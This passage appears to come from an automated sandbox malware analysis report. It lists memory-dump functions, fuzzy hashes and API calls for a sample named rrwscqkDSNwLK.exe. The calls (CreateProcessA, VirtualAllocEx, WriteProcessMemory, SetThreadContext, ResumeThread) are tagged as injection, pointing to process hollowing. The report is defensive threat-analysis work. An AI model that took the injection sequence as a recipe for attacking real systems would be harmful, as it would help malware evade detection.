Opcode Fuzzy Hash: 8f1872726b76249f8223c19ddff863a17bb734360c263cb7b3021177b6dee530
Instruction Fuzzy Hash: 8E011935905228CFCF60CFA0C954BEDBBB9AB49304F2460DD940DA7251C2329A86DF41

Function 00E3188C Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4f4a39d3f92b9f3eab4cd96a5495790c7a793453e2256bd873da7bf33ab284
Instruction ID: 8396fe7f2c964e03c368fbb0a8411dfe49fd4bdc57c636012e89798ba7edb717
Opcode Fuzzy Hash: 4a4f4a39d3f92b9f3eab4cd96a5495790c7a793453e2256bd873da7bf33ab284
Instruction Fuzzy Hash: 9D014934D18354CFC715CB24C8586ECBBB5BB46311F1895DA885DA72D2D7304946CF54

Function 00E32240 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee275ef3d3171bf1b0926675fabe0e0f5e1ab007d5812f51b7edb6fb05ed1477
Instruction ID: 827ab6428d7b5dc54355c8cb8ec84f5443565f5c2c304b0475fadf3425875783
Opcode Fuzzy Hash: ee275ef3d3171bf1b0926675fabe0e0f5e1ab007d5812f51b7edb6fb05ed1477
Instruction Fuzzy Hash: DFF0F474E00209AFCB40DFB9C9846AEFBF5EB49304F1495AAC858E3310E7319A01CB80

Function 00E31030 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79cc22a590553122f8e64a9d8461da243e43e16e6b2ccae979969c0146577e07
Instruction ID: c94840ca7f118adf5b9ab02f490be006de6ce71e5553bc56b458bb7a51f87aa9
Opcode Fuzzy Hash: 79cc22a590553122f8e64a9d8461da243e43e16e6b2ccae979969c0146577e07
Instruction Fuzzy Hash: D5F06770D08688DFC705DFA8E8582ACBFB5BB4B301F1491DAC448AB392D7340A41DF48

Function 00E316D0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d14c750d1c3819a132cc99795d93dfb57140e360d5b56fa5137896f74a150c50
Instruction ID: 31227dc244d798556d9b033d57ff3bf075a5761ff8a55fe7196d7f74583b407a
Opcode Fuzzy Hash: d14c750d1c3819a132cc99795d93dfb57140e360d5b56fa5137896f74a150c50
Instruction Fuzzy Hash: 7301AB75940228AFDBA4DF54C895BD8BBF5EB48315F2080D9D60DA7280DB319F88CF50

Function 00E31040 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41869b99659cc77f4f460405531c894483e96febc6337a01027dced55ac908c9
Instruction ID: 6f4895f1468f9a3c7b96107e2e4cbdef0d4646bbe6fd7e570d47bfb595ae6fdd
Opcode Fuzzy Hash: 41869b99659cc77f4f460405531c894483e96febc6337a01027dced55ac908c9
Instruction Fuzzy Hash: 06F0E530D05209DFCB44DFB8D9586ADBBB9FB4E301F1091A9C409A3355D7345A41DF48

Function 00E308AF Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75171516dcb1f91180b92ad34874da39021579a8f2fddb2a7ed288567e86ad9
Instruction ID: 6bfb669c3f738728e3227fa7477ce3472fbabf290da340992e22094f7e25cbc3
Opcode Fuzzy Hash: b75171516dcb1f91180b92ad34874da39021579a8f2fddb2a7ed288567e86ad9
Instruction Fuzzy Hash: 06F03034A593989FCB15DF78D86468C7FF0AF4A201F1541EEC845D72A2D6349958CF02

Function 00E30A90 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1604a109113eb85f674aaeaed05cf5c65a207d68fee39ca8fd4ac6a1581c15
Instruction ID: 83064a40efd2efc26f4aedee483b86a78ed5fc5e877bd9f8cc7ba32dfdfe7da2
Opcode Fuzzy Hash: 4c1604a109113eb85f674aaeaed05cf5c65a207d68fee39ca8fd4ac6a1581c15
Instruction Fuzzy Hash: 54E09230D193849FDB01DBBCD46538CBFB09B07601F1841EEC88497352D2300A44CB52

Function 00E30978 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8738301dfc969aa68eca4044f1b4b638f1083838f548c967ed6e5d9f639d30
Instruction ID: cd10acee564217a3baa8a86ecf9b5f12414012c3d228b0af0c5ae5b2d0ea9544
Opcode Fuzzy Hash: 6a8738301dfc969aa68eca4044f1b4b638f1083838f548c967ed6e5d9f639d30
Instruction Fuzzy Hash: 8AE01A7084D2449FDB05DBB8986879CBF70EB97305F2451DEC48567292C2341956DB52

Function 00E30B08 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2f63333fe6420184b9630dcecaf8fdbf24f66637285fe47db88ab279c60bfde
Instruction ID: 49039f9c45ad8e01d751a74fba96d3810bc4e660e5d2c7c8847082e219d9619c
Opcode Fuzzy Hash: b2f63333fe6420184b9630dcecaf8fdbf24f66637285fe47db88ab279c60bfde
Instruction Fuzzy Hash: EBE0C26090A2885FD302CBBCA921B6C7F345B83208F1400DAC4449B2A2C6200E04DB21

Function 00E308C0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49809b77f41500d363c5d2b9eef99be4ef3558aa5f5c61c39d7288617b966a62
Instruction ID: 43013e128f1f2b0967e08730b0f3c37ab53a2fa683e23bbbd31f2af287fd62ab
Opcode Fuzzy Hash: 49809b77f41500d363c5d2b9eef99be4ef3558aa5f5c61c39d7288617b966a62
Instruction Fuzzy Hash: 88E0B674910208DFC744DFBCD59865CBBF4AB09305F2041A9D908A7360E6309A54CF81

Function 00E30988 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91a34ec1680f36835f67c204b131e05fdadb1d09ef3604aedae7418710c45d15
Instruction ID: b3b2bc71882778c22cdfb8c05570ba84906304e45db8708addf44ef61f9cc37a
Opcode Fuzzy Hash: 91a34ec1680f36835f67c204b131e05fdadb1d09ef3604aedae7418710c45d15
Instruction Fuzzy Hash: CFD05E30C09208DBD704DFA8E8647ADBFB8ABC6305F2051A9C84833382C6301E56DB86

Function 00E30AA0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0e1f6103d8e350dc4c3845bfed820e866f58aa6629e0cd06d8fc50441a70fd
Instruction ID: 8a48c479b794dd3c694c329d87639b274622d452c6f065a188b62c88cb95bbba
Opcode Fuzzy Hash: 3f0e1f6103d8e350dc4c3845bfed820e866f58aa6629e0cd06d8fc50441a70fd
Instruction Fuzzy Hash: D4D0E230D00208ABCB44EFA8E85979CBBB4AB45605F5080A9C808A3280E6305A90CB81

Function 00E30B18 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7dd033048b5f08dc52053363dc37298914da7c3c18e34aa4fae1ec7935a6363
Instruction ID: 0414c373e57043b042df296979f3b36d911c42441b0d575484b8212fec4fc38b
Opcode Fuzzy Hash: d7dd033048b5f08dc52053363dc37298914da7c3c18e34aa4fae1ec7935a6363
Instruction Fuzzy Hash: DCC0127080220DABC714DFADE825B6EBB6CEB82359F0010A9C808232A0DA311E10DBA5

Analysis Process: rrwscqkDSNwLK.exePID: 1644, Parent PID: 1976COMMON

Execution Graph

Execution Coverage:	14.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	131
Total number of Limit Nodes:	13

Executed Functions

Function 003AE2C5 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 327
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 003AE597

Strings

gP, xrefs: 003AE4EA
gP, xrefs: 003AE61A
gP, xrefs: 003AE6DF

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: CreateProcess
String ID: gP$gP$gP
API String ID: 963392458-345057509
Opcode ID: ad7b770c114c44f4000f20e9ab479d0bceb10e12dde4fed5589629441483e669
Instruction ID: 84a68e42814755705e8be9897cb97c8213c58564ec6357c00cef102f30515ab9
Opcode Fuzzy Hash: ad7b770c114c44f4000f20e9ab479d0bceb10e12dde4fed5589629441483e669
Instruction Fuzzy Hash: 9FC11570D002198FDF25DFA8C845BEEBBB1FB49304F0095AAD819B7290DB749A85CF95

Function 003AE2D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 003AE597

Strings

gP, xrefs: 003AE4EA
gP, xrefs: 003AE61A
gP, xrefs: 003AE6DF

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: CreateProcess
String ID: gP$gP$gP
API String ID: 963392458-345057509
Opcode ID: 94e5fb6fb099885272c2123449be9a6a7b8bf3997be6f8a0b48f17d5ff6c6c17
Instruction ID: 438df2273afbfcd6aefa70f91334365b4b2c59a3e7c99dc5cd762426ae91b021
Opcode Fuzzy Hash: 94e5fb6fb099885272c2123449be9a6a7b8bf3997be6f8a0b48f17d5ff6c6c17
Instruction Fuzzy Hash: 26C11470D002198FDF25DFA8C845BEEBBB1FB49304F0095AAD819B7290DB749A85CF95

Function 003ADF31 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 003AE00B

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d89c1e0bb9f9cff0cf5008c098ae14459eeee5f3eae9a726e687869c376dbb90
Instruction ID: 9e965ba09de45950f71e1f59c9758c0c2d44faeb857c0f3f9a02c347e1c21f59
Opcode Fuzzy Hash: d89c1e0bb9f9cff0cf5008c098ae14459eeee5f3eae9a726e687869c376dbb90
Instruction Fuzzy Hash: B2419BB4D012589FCF00CFA9D984AEEFBB1FB49314F24942AE815B7250D375AA45CF64

Function 003ADF38 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 003AE00B

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fe7897e69e32d189170359f8db6dea0946a63ad654557b5c85c2d2bd63545d95
Instruction ID: 6815619986f62dd1f608ebcb6355eaf0c091ca69a362bcc28b702dbca561891b
Opcode Fuzzy Hash: fe7897e69e32d189170359f8db6dea0946a63ad654557b5c85c2d2bd63545d95
Instruction Fuzzy Hash: 084198B4D002589FCF00CFA9D984AEEFBF1AB49314F24902AE815B7210D375AA45CB64

Function 003AE090 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 003AE14A

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: cecf0369e98645f280abc383918f660689242a2731f28f1ac97c0f02419d8b0c
Instruction ID: 1dd5871eef6edba9dcaa5ca14cb6a43385e4c61916f6c6e8c59ab549c7852938
Opcode Fuzzy Hash: cecf0369e98645f280abc383918f660689242a2731f28f1ac97c0f02419d8b0c
Instruction Fuzzy Hash: 3441BCB9D042589FCF10CFA9D984AEEFBB1BF49310F14942AE815B7250C379A946CF64

Function 003AE098 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 003AE14A

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c7f14bb020ef429eb7720981fdc6527c51b60331cd7802d264192f3391497d95
Instruction ID: c08278b670e448a32698247bc244773a986cc2c348d381f81064be863657feb6
Opcode Fuzzy Hash: c7f14bb020ef429eb7720981fdc6527c51b60331cd7802d264192f3391497d95
Instruction Fuzzy Hash: 494199B9D002589FCF10CFA9D984AEEFBB1BB49310F14942AE815B7200D735A945CF64

Function 003ADE0C Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 003ADEBA

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9a71a228ce1fd7796a5061df38d214c632252ea5138cc84165bb463547a7f554
Instruction ID: baef16c6532b2abac47c2ebe928a51f4716af7b300c752e37bc77ffcd78761c0
Opcode Fuzzy Hash: 9a71a228ce1fd7796a5061df38d214c632252ea5138cc84165bb463547a7f554
Instruction Fuzzy Hash: 0241AAB8D002589FCF10CFA9D980AEEFBB1AF49310F14941AE815BB314D735A946CF54

Function 003ADE10 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 003ADEBA

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ae40c9ac916b9db82a2362f8855f313095daec7d6288f6a6fadfb402ae1a27b8
Instruction ID: 9690f7798865f3b0d2ebb0209ba92edb10e4e922fac5a9613cfe71a8c4c670d3
Opcode Fuzzy Hash: ae40c9ac916b9db82a2362f8855f313095daec7d6288f6a6fadfb402ae1a27b8
Instruction Fuzzy Hash: 374199B8D002589FCF10CFA9D984AAEFBB1EB49310F10942AE815BB314D735A945CFA5

Function 003AD8A1 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 003AD957

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5c6b018e831dd07b45ec3e67a3fd620ceddfefd85f147e863e7bc1a29caa3240
Instruction ID: bc29909c9805f0a0621a59d10c595be73e41af8b944615a83665f93cf7becde5
Opcode Fuzzy Hash: 5c6b018e831dd07b45ec3e67a3fd620ceddfefd85f147e863e7bc1a29caa3240
Instruction Fuzzy Hash: A741BCB5D012589FCF10CFA9D884AEEFFB1AF49314F24842AE855B7244C739AA49CF54

Function 003AD8A8 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 003AD957

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 36d8eb8dd6cf3ee1334107174d94bfa1615ba0f8d493c60ccebce708b2a46a53
Instruction ID: a190d4df0fb3b038698ac86b92de67671df733909f6ef83568560b8bbc4be91b
Opcode Fuzzy Hash: 36d8eb8dd6cf3ee1334107174d94bfa1615ba0f8d493c60ccebce708b2a46a53
Instruction Fuzzy Hash: 6B41ACB5D002589FCF10CFA9D884AEEFBB1AF49314F24802AE415B7244D739A949CF54

Function 003AD7B1 Relevance: 1.6, APIs: 1, Instructions: 78
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 003AD836

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e5795dc8391d3a2328601fc6ee85dfdae146a70d513f9414906f1dcf4ef5b3e3
Instruction ID: 7a15c0bad2c9d2841b4fe13e2ecfab0b0f4ff54d9e0a7caee59ba71fef2d39ec
Opcode Fuzzy Hash: e5795dc8391d3a2328601fc6ee85dfdae146a70d513f9414906f1dcf4ef5b3e3
Instruction Fuzzy Hash: 8731CAB5D002189FCF10CFA9D884AEEFBB5EB49314F24842AE819B7300C735A906CF94

Function 003AD7B8 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 003AD836

Memory Dump Source

Source File: 00000015.00000002.496820835.00000000003A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3a0000_rrwscqkDSNwLK.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 644f8c61272188629491dde1e53eb94faf6746bdbca9087f5ad75ba9d7f75d07
Instruction ID: 810134707a2e8dd62aafcc32470492c9dca4d1cf87f1b57573453f4f273eee52
Opcode Fuzzy Hash: 644f8c61272188629491dde1e53eb94faf6746bdbca9087f5ad75ba9d7f75d07
Instruction Fuzzy Hash: FE31B9B4D002189FCF14CFA9D984AAEFBB5EF49314F24942AE815B7700C735A945CF94

Function 00730D3C Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

gP, xrefs: 00730D6E

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID: gP
API String ID: 0-2783328264
Opcode ID: e5d59a68aa3f0337122e83192a37f4c80bff99a067be896e3eabc3734aff267e
Instruction ID: 7d1acb91180fba5f0189f059d03fa90a51e6068b726907f524dd7f802f2bba09
Opcode Fuzzy Hash: e5d59a68aa3f0337122e83192a37f4c80bff99a067be896e3eabc3734aff267e
Instruction Fuzzy Hash: CE412975E45219CFDB24CFA4C840BEDB7B9BF99300F1096A6D509A6241E7746AC4DF80

Function 00730F33 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

(, xrefs: 00731808

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 71fdf9e3463f563da9374203e603bf911714e53e37ba6adcfad83672b1dbdeba
Instruction ID: edb19284fa3f1ab8ca3489e8fa02103801ffed5b165095e05151e7ae4c0195a5
Opcode Fuzzy Hash: 71fdf9e3463f563da9374203e603bf911714e53e37ba6adcfad83672b1dbdeba
Instruction Fuzzy Hash: 3C01EF3590A228CFEB60CF64C884FEDBBB5AB09314F54819AD40DA3252C7359E86DF00

Function 00730E9A Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a35695c699070e987d51209979f13dd01c6c1a299a16b47fb6d444fc27aeb3d
Instruction ID: 630f5440c87cb63fbc0c5011befa8a5bd29bb1f8ce8a0c1fd54af5d0d3284e92
Opcode Fuzzy Hash: 3a35695c699070e987d51209979f13dd01c6c1a299a16b47fb6d444fc27aeb3d
Instruction Fuzzy Hash: 09414D74909218CFEB64CF54C954BE8B7B9BB4A311F5491DAC40EA3292D7399EC5DF00

Function 0013D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.496101460.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_13d000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f96b653f214e75f19fd19daed920a72af6fe0ab76211e5c6c0e021f36c48d5d0
Instruction ID: 03c992a4348eac45ac72be90a8f484c26676ca76a0b44247905b8b03d1444a50
Opcode Fuzzy Hash: f96b653f214e75f19fd19daed920a72af6fe0ab76211e5c6c0e021f36c48d5d0
Instruction Fuzzy Hash: 5721C2B5604240EFDB16CF14F9C0B26BBA5FB84314F24C5A9E8494B256C736D84ACB61

Function 0013D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.496101460.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_13d000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bac1f1d1689a2ef3b0582937e6aeb3e2dc750e4a8c24c5729f060c24c9b42c2
Instruction ID: 4d967bc66fc9d1a25c83f1b7f0c5bf5a08a76d64203610675017b6464fe62645
Opcode Fuzzy Hash: 5bac1f1d1689a2ef3b0582937e6aeb3e2dc750e4a8c24c5729f060c24c9b42c2
Instruction Fuzzy Hash: 8721B0B5604240EFDB19CF24F8C4B26BB65EB84B14F34C5A9E8494B256C736D84BCBA1

Function 00730EBE Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da8908087fa036cfb4662122d7e0595f03acf75d3fdf741a43f9a119e529df9e
Instruction ID: aaa28b7f392200f8a71f84af523e22275354315c58b7c6e9ef10bd5d347ad013
Opcode Fuzzy Hash: da8908087fa036cfb4662122d7e0595f03acf75d3fdf741a43f9a119e529df9e
Instruction Fuzzy Hash: 43212334E09218CFEB60CF64C890BECBBB6BB49300F20909AD40DA7252C7355E86DF40

Function 0013D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.496101460.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_13d000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32f609addacb6cb4880d38ae249acf73ab1d62877314c61fc5c2e4b01bb647b
Instruction ID: c93a144368a3656922636856f90339f43b112a12ea4bafa1108d28c1e8bd612a
Opcode Fuzzy Hash: a32f609addacb6cb4880d38ae249acf73ab1d62877314c61fc5c2e4b01bb647b
Instruction Fuzzy Hash: 502171755083809FCB06CF14E994711BF71EB46714F28C5DAD8498F266C33AD85ACB62

Function 00730CE4 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.500598789.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_730000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d40b90a77221328b48a2268ec89e677db94d74da1d50063631a7567e3c27aef
Instruction ID: e64a8c1fa63fa4a92234564f394fb0b7fe0a8210de77e2e982c8ec96c9148812
Opcode Fuzzy Hash: 7d40b90a77221328b48a2268ec89e677db94d74da1d50063631a7567e3c27aef
Instruction Fuzzy Hash: 64118C70A45218DFEB60CF54CC80BEDB7B8AB19300F6480EAD54EA7281CBB45AC5DF40

Function 0013D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.496101460.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_13d000_rrwscqkDSNwLK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
